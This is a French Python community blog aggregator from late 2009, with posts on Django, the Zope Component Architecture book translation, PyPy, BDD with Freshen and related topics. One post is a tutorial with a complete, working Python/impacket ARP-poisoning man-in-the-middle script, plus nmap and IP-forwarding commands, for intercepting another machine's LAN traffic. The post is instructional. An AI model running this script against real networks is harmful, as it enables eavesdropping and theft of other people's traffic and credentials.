Suite à la théorie, j'ai réalisé une démonstration live de ce que l'on pouvait avoir en pratique qui a également été filmée. Et je viens de rendre le code accessible pour que vous puissiez continuer/hacker/etc, c'est un twitter-like qui reprend pas mal des concepts Django. J'ai ajouté un peu de code pour que vous puissiez aller plus loin, pour repartir de la présentation il suffit de prendre la révision qui va bien. N'hésitez pas à poser des questions ici au besoin.

Formation

Suite à cette intervention était prévue une formation qui malheureusement a été reportée faute de participants. C'est vraiment dommage car j'étais bien motivé et j'espère qu'il y aura davantage de curieux lors de la prochaine session. Si vous êtes intéressé, n'hésitez pas à me contacter ou à contacter Stéphane, en plus le cadre est vraiment unique !

En conclusion, j'ai eu des retours assez positifs et j'espère avoir convaincu ou au moins donné envie à certaines personnes présentes d'essayer de nouveaux horizons :-). Si l'agilité vous intéresse (et ça devrait), je vous encourage également à aller consulter les vidéos de Claude Aubry.

Logo biologeek Pourquoi Python et Django a été rédigé par David Larlet pour biologeek.com et a été originellement posté le 11 décembre 2009. À part exceptions, c'est ©2004-2009 David Larlet et sous licence (presque) libre autorisant la reproduction, la distribution et la modification sous certaines conditions. Veuillez les respecter.

[ccomb] Le guide complet de l'Architecture de Composants de Zope ... 09/12/2009
http://ccomb.gorfou.fr/static/zcabook.jpg

Voici la traduction du livre de Baiju Muthukadan sur la Component Architecture de Zope 3, (la ZCA). Cette traduction avait été commencée il y a deux ans par Stéphane Klein (que je salue et remercie au passage) et j'ai enfin trouvé le temps de la terminer.

La Component Architecture, qu'est-ce que c'est ?? C'est juste une paire de paquets Python complètement indépendants de Zope, qui vous permettront de rendre votre application vraiment modulaire, là où c'est nécessaire (inutile d'en abuser). Le principe est excellent, et basé sur des motifs de conception éprouvés et utilisés de manière intelligente. Cette architecture est utilisée dans plusieurs frameworks ou applications comme Zope 2, Zope 3, Grok, Repoze.BFG, Twisted, le Launchpad de Canonical, ou le gros CMS Plone. Je l'ai utilisée dans plusieurs projets comme l'Eztranet (un extranet pour agences de production vidéo), le site relief.fr, ou pour SOS_Epidemio, un logiciel de tracé épidémiologique pour SOS Médecins.

L'original en anglais

Tout est là, avec des liens vers les traductions actuelles : http://www.muthukadan.net

Si vous voulez contribuer financièrement à l'effort de Baiju, vous pouvez commander une version papier de son livre à cette adresse : http://www.lulu.com/content/1561045

Pour contribuer

La version anglaise originale a bénéficié de contributions, et certaines ne sont pas complètement terminées, notamment l'exemple d'application graphique utilisant GTK+. Quant à la traduction, elle a sûrement besoin de relectures et de corrections. N'hésitez pas à m'envoyer des mails pour m'injurier d'avoir traduit des mots comme « subscriber » ou « handler », je sais que certains ne supportent pas ça. Sinon vous pouvez juste me signaler si vous trouvez une faute d'orthographe.

Ma branche bzr pour la traduction est ici : https://code.launchpad.net/~ccomb/zcadoc/book-fr et la branche originale de Baiju est ici : https://code.launchpad.net/~baijum/zcadoc/book

Si vous voulez extraire la branche chez vous, commencez par vous documenter sur Bazaar, puis installez-le

$ sudo aptitude install bzr

Ensuite vous pouvez récupérer la branche originale

$ bzr branch lp:~baijum/zcadoc/book

Ou bien la branche de la traduction

$ bzr branch lp:~ccomb/zcadoc/book-fr
[Haypo] Compiler PyPy trunk en activant le compilateur à la volée (JIT... ... 03/12/2009
PyPy est une interprète Python écrit en Python. Il implémente Python 2.5 et offre quelques fonctionnalités supplémentaires. Je m'intéresse surtout au compilateur à la volée, car il laisse espérer une vitesse d'exécution des programmes Python bien meilleure. Lire ces benchmarks du blog PyPy...
[ccomb] JM2L, les Journées Méditérannéennes du Logiciel Libre ... 03/12/2009
JM2L 2009

Samedi dernier (le 28nov), c'étaient les JM2L 2009. Le même genre de journées que les RMLL ou les JDLL, mais à Sophia Antipolis et organisé par Linux Azur. La concurrence fut rude car au même moment se tenait l'Ubuntu Party 9.10 de Paris qui, boostée par la présence de Mark Shuttleworth, a accueilli 5000 visiteurs sur deux jours (une progression de 25% par rapport à 2008). Je suis arrivé samedi matin par le train de nuit, et reparti samedi soir avec le même train. Entre les deux j'ai réussi à improviser un stand AFPY, à suivre la présentation du langage Lisaac et d'Isaac Os par Benoît Sonntag (impressionnant), et à présenter la façon de faire du développement web par composants.

Voici ci dessous les slides au format PDF et directement en ligne. C'est une concaténation des deux présentations faites pour OSDC FR 2009, avec une courte introduction sur Python. Le but de la présentation était d'expliquer comment découper proprement une application web, d'abord à haut niveau grâce à un assemblage WSGI, mais aussi au niveau des classes et des composants métiers en utilisant la Component Architecture de Zope 3.

[PDF] Le web par composants (en Python)

Your browser does not support iframes.

Merci encore à René Mages et à Linux Azur pour l'accueil et l'orga !

[QuiSaura] python, impacket et un petit man in the middle (arp poisoni... Mais alors un vraiment tout petit. On va voir aujourd'hui comment gr ce au ... 30/11/2009

Mais alors un vraiment tout petit.

On va voir aujourd'hui comment grâce au module imPacket réalisé un man in the middle en utilisant la méthode de l'arp poisoning.

Qu'est-ce quele man in the middle ?
C'est une attaque qui a pour but d'intercepter tous les paquets transitants entre A et B .

Et l'arp poisoning ?
C'est une technique utilisant le protocole ARP  qui va faire en sorte que A envoit ses paquets à C au lieu de B.
Du coup, si on utilise aussi l'arp poisoning sur B, C peut écouter tous les paquets qui transitent entre A et B : c'est le man in the middle.
Il existe plusieurs méthodes, on va utiliser celle qui consiste à envoyer des réponses ARP aux cibles (A et B), et vu que le protocole ARP ne vérifie pas si une requête ARP a été faite au préalable, on va pouvoir modifier la cache ARP des cibles sans difficulté.

C'est parti.

La topologie de mon réseau éthernet dans lequel j'ai réalisé le script (simple&court) est on ne peut plus basique :
2 ordinateurs(A et C) directement reliés au routeur(B).
Je suis C et, je veux écouter tout ce qui se passe chez A.

Tout d'abord, il faut activer le routage :

su -c "echo 1 > /proc/sys/net/ipv4/ip_forward"


Maintenant, il faut connaitre les IP de A,B,C ainsi que leurs MAC.
un petit coup de nmap -v -Sp 192.168.1.0/24 | grep "up" et de arp -v résoudra tout (ajustez le sous réseau).

 

Et voici le script :

#-*- coding:Utf-8 -*-

from impacket import ImpactPacket
import socket
import time

INTERFACE = 'eth0'
MON_IP = (192, 168, 0, 101)
MA_MAC = (0x00, 0x13, 0x02, 0x12, 0x8c, 0xaa)

ROUTEUR_IP = (192,168,0,1)
ROUTEUR_MAC = (0x00,0x13,0x02,0xcd,0x03,0xd2)

CIBLE_IP = (192,168,0,102)
CIBLE_MAC = (0x00,0x13,0x02,0x1d,0x10,0xd3)


class MonARP(ImpactPacket.ARP):
    """notre classe pour créer notre paquet ARP"""

    def __init__(self):
        ImpactPacket.ARP.__init__(self)
        #et on remplit l'entête arp :
        self.set_ar_hrd(0x01)#le type du reseau dans lequel on se trouve=>ethernet
        self.set_ar_pro(0x800)#le protocole de couche 3 qui utilise notre ARP : soit IP donc 0x800
        self.set_ar_hln(0x06)# la longueur de l'adresse physique, soit 6 octets (c'est la longueur de l'adresse MAC)
        self.set_ar_pln(0x04)#longueur de l'adresse reseau , vu qu'on est en IPV4 : 4 octets
        self.set_ar_op(0x02) #le type d'opération de notre arp : requête (0x01) ou réponse(0x02) donc réponse

    def routeur(self):
        """si on envoit notre réponse au routeur,
        on doit mettre :
        - en mac source, notre mac
        - en ip source, l'ip de la cible
        """
        self.set_ar_sha(MA_MAC)#adresse physique source
        self.set_ar_spa(CIBLE_IP)#adresse réseau source

        self.set_ar_tha(ROUTEUR_MAC)#adresse physique de destination
        self.set_ar_tpa(ROUTEUR_IP)#adresse réseau de destination

    def cible(self):
        """si on envoit notre réponse à la cible,
        on doit mettre :
        - en mac source, notre mac
        - en ip source, l'ip du routeur
        """
        self.set_ar_sha(MA_MAC)#adresse physique source
        self.set_ar_spa(ROUTEUR_IP)#adresse réseau source

        self.set_ar_tha(CIBLE_MAC)#adresse physique de destination
        self.set_ar_tpa(CIBLE_IP)#adresse réseau de destination

if __name__ == '__main__':

    arp = MonARP()#on crée notre paquet ARP
    eth = ImpactPacket.Ethernet()#notre trame ethernet
    s = socket.socket(socket.PF_PACKET,socket.SOCK_RAW)
    #le premier paramètre est la famille du protocole qu'on utilise, vu qu'on utilise un protocole bas niveau (d'après le modèle OSI) on utilise donc PF_PACKET
    #le deuxième paramètre est le type de notre socket , il en existe des tas :
    #SOCK_RAW : pour faire transiter des paquets utilisant un protocole plus bas niveau , le protocole ARP étant de niveau 2/3, c'est ce qu'il nous faut .

    ###un man socket vous aidera mieux à comprendre

    s.bind((INTERFACE, 0x806))#pour lier notre socket  à une interface(bah oui, sinon on pourra pas l'envoyer)
    #le 1° paramètre notre interface réseau
    #le 2° paramètre est le protocole qu'on utilise (ARP=0x806)
    #s.settimeout(2)#le timeout en seconde, mais on s'en fout vu qu'on envoit une réponse et donc on n'en recevra pas.
    while 1 :
        print("c'est parti")

        arp.routeur()
        eth.contains(arp)#ensuite, on doit encapsuler notre paquet dans notre trame ethernet
        eth.set_ether_shost(arp.get_ar_sha())#l'adresse mac source de la trame est la même que l'entête arp
        eth.set_ether_dhost(arp.get_ar_tha())#l'adresse mac de destination de la trame est la même que l'entête arp
        s.send(eth.get_packet())#on envoie le paquet !

        arp.cible()
        eth.contains(arp)#ensuite, on doit encapsuler notre paquet dans notre trame ethernet
        eth.set_ether_shost(arp.get_ar_sha())#l'adresse mac source de la trame est la même que l'entête arp
        eth.set_ether_dhost(arp.get_ar_tha())#l'adresse mac de destination de la trame est la même que l'entête arp
        s.send(eth.get_packet())#on envoie le paquet !

        time.sleep(10)#en secondes


N'oubliez pas de changer les valeurs des variables des lignes 7 à 15.
Je n'explique pas le script, tout est commenté et devrait suffire ?

Un petit coup de wireshark et vous verrez les paquets de/vers A.

 

PS : pour toute question envoyez-moi un mail (cf la page "À propos"), j'ai désactivé les commentaires à cause du trop gros nombre de spams.

[j-mad] Django-ROA ou… Mince je trouve pas de jeux de mots là ... 29/11/2009
Ça sera bien la première fois que je ne fais pas de jeux de mots dans le titre d’un billet la Django-app du mois. Mais là, je n’ai vraiment pas d’inspiration et comme je suis sur un timing plutôt serré (le billet devant être publié d’ici au plus tard 4h20 pour pouvoir prétendre à être [...]
[No] Les pythons et les concombres, main dans la main (troisième parti... ... 25/11/2009

disclaimer : avant que tu fasses la remarque, je sais parfaitement que ni les pythons, ni les concombres n'ont de main. C'est une allégorie, un licence poétique, une métaphore, voilà.

Pierre de Rosette

Lors des deux articles précédents, j'avais à la fois évoqué la méthodologie "développement dirigé par les tests" et montré un exemple d'implémentation en Python. Mais nous avions aussi constaté que ces tests, très utiles au développeur, ne disaient généralement rien dire au "client" ou à la personne pour laquelle l'application est faite (utilisateur). On pourra raconter ce qu'on voudra à Monsieur Lambda, il ne comprendra pas ces classes et ces méthodes, que ce soit écrit en Python, en Java, en C, en Intercal...

Il manque une Pierre de Rosette entre le technicien et le non-technicien. Cette Pierre de Rosette existe, sous un formalisme "humainement lisible" :

Feature: Addition
    In order to avoid silly mistakes
    As a math idiot
    I want to be told the sum of two numbers

    Scenario Outline: Add two numbers
        Given I have entered 2 into the calculator
        And I have entered 3 into the calculator
        When I press add
        Then the result should be 5 on the screen

C'est en anglais, certes. Mais on peut remarque qu'il y a une certaine "structure" dans ce texte.

[Feature:] Addition
    [In order to] avoid silly mistakes
    [As] a math idiot
    [I want to] be told the sum of two numbers

    [Scenario Outline:] Add two numbers
        [Given] I have entered 2 into the calculator
        [And] I have entered 3 into the calculator
        [When] I press add
        [Then] the result should be 5 on the screen

Les mots encadrés sont facilement repérables en tant que "mots-clés". Il est assez facile de fabriquer un programme qui repère les phrases commençant par "Given" ou "I want to" et de déterminer le comportement du programme. Tiens, si on l'écrit en Français, c'est encore mieux :

Fonctionnalité: Addition
       Pour éviter des erreurs idiotes
       En tant que nul en maths
       Je veux qu'on me donne la somme de deux nombres

Plan du Scénario: Ajouter deux nombres Soit le nombre 2 entré dans la calculatrice Et le nombre 3 entré dans la calculatrice Lorsque j'appuie sur ajout Alors le résultat doit être 5 à l'écran

On a là un document lisible pour le péquin moyen, le client lambda. Un document en Français, qui décrit le comportement de l'application dans une langue que peut comprendre un "non-ordinateurien". Et comme il a une structure, et que cette structure est "facilement" analysable par un programme informatique.

Ce programme, tu t'en doutes, il existe :

Cucumber

Cucumber est un outil écrit en Ruby, qui implémente le formalisme décrit ci-dessus. Comme indiqué sur le site de Cucumber, on peut écrire des spécifications en langage "naturel", qui sont ensuite traduites en tests en Ruby, et on peut alors procéder aux cycles classiques du TDD (cf. l'article précédent), à savoir : écriture du test qui doit échouer, implémentation jusqu'à ce que le test passe au vert.

Youpi ! Formidable !

Ça veut dire que, durant la phase "d'analyse" (ou de préparation à l'implémentation), le client ou son représentant peut rencontrer l'équipe de développement, se mettre autour d'une table et parler un langage commun. On imagine bien la rédaction commune de ces documents de spécification, qui peuvent utiliser le langage métier du client et que l'équipe de développement peut rapidement transformer en tests que le programme va devoir faire passer.

Seulement... Il y a une chose qui me dérange, personnellement. Le langage de développement que je privilégie, c'est Python. Et faire fonctionner Cucumber avec Python, c'est peut-être possible, mais ça nécessite l'installation de RubyPython, etc... je me suis dit qu'il devait y avoir une autre solution. Analyser la structure d'un texte en Python, c'est une chose très accessible, il y a des dizaines d'outils qui savent faire ça.

J'ai cherché et j'ai trouvé une implémentation 100% en Python, appelée Freshen.

Freshen s'installe comme plugin à l'exccccccellent Nose (j'en ai parlé là déjà). Tout développeur Python qui se respecte et qui pratique TDD se doit d'utiliser Nose, déjà. Lancer nosetests, c'est comme un réflexe. Normalement, tu devrais même avoir un alias pour lancer cette commande plus vite, plus souvent. Voilà.

Freshen n'est pas parfait, loin de là. Certaines fonctionnalités de Cucumber ne sont pas implémentées. Certes. Mais une chose m'embêtait plus que les autres : les fichiers de spécification doivent être écrites en anglais. Ça fait même plus que m'embêter : ça emmerde aussi n'importe quel "non-ordinateurien" qui ne parlerait pas anglais. Ça fait un paquet de monde. Il faut imaginer un demandeur, un décideur, qui n'a pas forcément besoin ou envie de parler l'anglais, faire confiance à une spécification écrite en anglais. Pour lui, le bénéfice de cette méthode, c'est zéro : autant lui filer l'impression d'un code Perl, ça aura autant d'intérêt pour lui.

Mais... s'il est en Python, je peux le comprendre. Si je peux le comprendre et que sa licence le permet, c'est que je peux l'adapter pour qu'il puisse causer Français. Et Espagnol. Et Basque. Et Espéranto. Et même Klingon !

J'ai donc fait (du mieux que j'ai pu) un clone du dépôt sur GitHub et adapté Freshen pour qu'il puisse causer la langue de Molière.

Désormais, on peut lancer nose avec les arguments suivants :

$ nosetests --with-freshen --lang=fr

et les fichiers de "features" (fonctionnalités) sont interprétés dans la langue de son choix.

Les langues disponibles sont strictement identiques à celles implantées dans Cucumber, puisque j'ai poussé le vice en "empruntant" le fichier de langues de Cucumber (qui définit les mots-clés anglais et leurs traductions) pour alimenter les traductions de Freshen. Y'en a 40. Pas mal non ?

Ceux et celles qui veulent tester ce Freshen qui fleure bon désormais le camembert, la paëlla et le gloubiboulga, la branche s'appelle "i18n" et les retours sur cette implémentation sont les bienvenus.

[ccomb] Développer, avec quel langage ? ... 16/11/2009
Alter Way Magazine Programmez n°124

Voici un article de 3 pages dans Programmez n°124 (nov 2009), rédigé pendant mon temps de travail chez Alter Way Solutions. Voici l'intro :

Un langage de programmation est un moyen, pas une fin. Pourtant, le choix d'un langage peut avoir des conséquences non négligeables sur la vie d'un projet, aussi bien au niveau technique qu'humain. Souvent, ce choix n'est d'ailleurs pas discuté : le langage est imposé, que ce soit par le développeur, le chef de projet, le projet lui-même, le client ou tout autre raison. Pourtant ce choix mérite qu'on s'y attarde un moment, étant donné la très grande diversité des langages existants. L'évolution des langages suit des modes à court terme et des tendances à plus long terme. On peut établir des classements selon de nombreux critères comme la syntaxe, le typage, le mode d'exécution ou le paradigme de programmation. Ces critères doivent vous guider lors de votre choix.

Je peux pas en mettre plus ici, mais vous pouvez télécharger un PDF (le minimag) qui contient les deux premières pages. Et si vous achetez le magazine, vous découvrirez en troisième page un magnifique classement qui place Python 1er, C++ 2ème et Haskell 3ème ! De quoi s'agit-il ? ;)

Article : Choisir votre langage de programmation
[Afpy] Revue de presse python semaine 46 ... 16/11/2009
funkload, histoire et succès
[Afpy] Revue de presse python semaine 45 Unicode, Distribute, Fabric... 09/11/2009
Unicode, Distribute, Fabric
[Afpy] Revue de presse python semaine 44 ... 05/11/2009
Spécial mémoire !! et il ne faut pas la perdre
Python.org : Le site officiel du langage Python.
Zope.org : Le site web officiel de Zope.
Daily Python-URL : Actus de l'univers Python.
Tribute to Zyons : Zyons notre ami et membre fondateur de l'Afpy, nous quittait en 2005.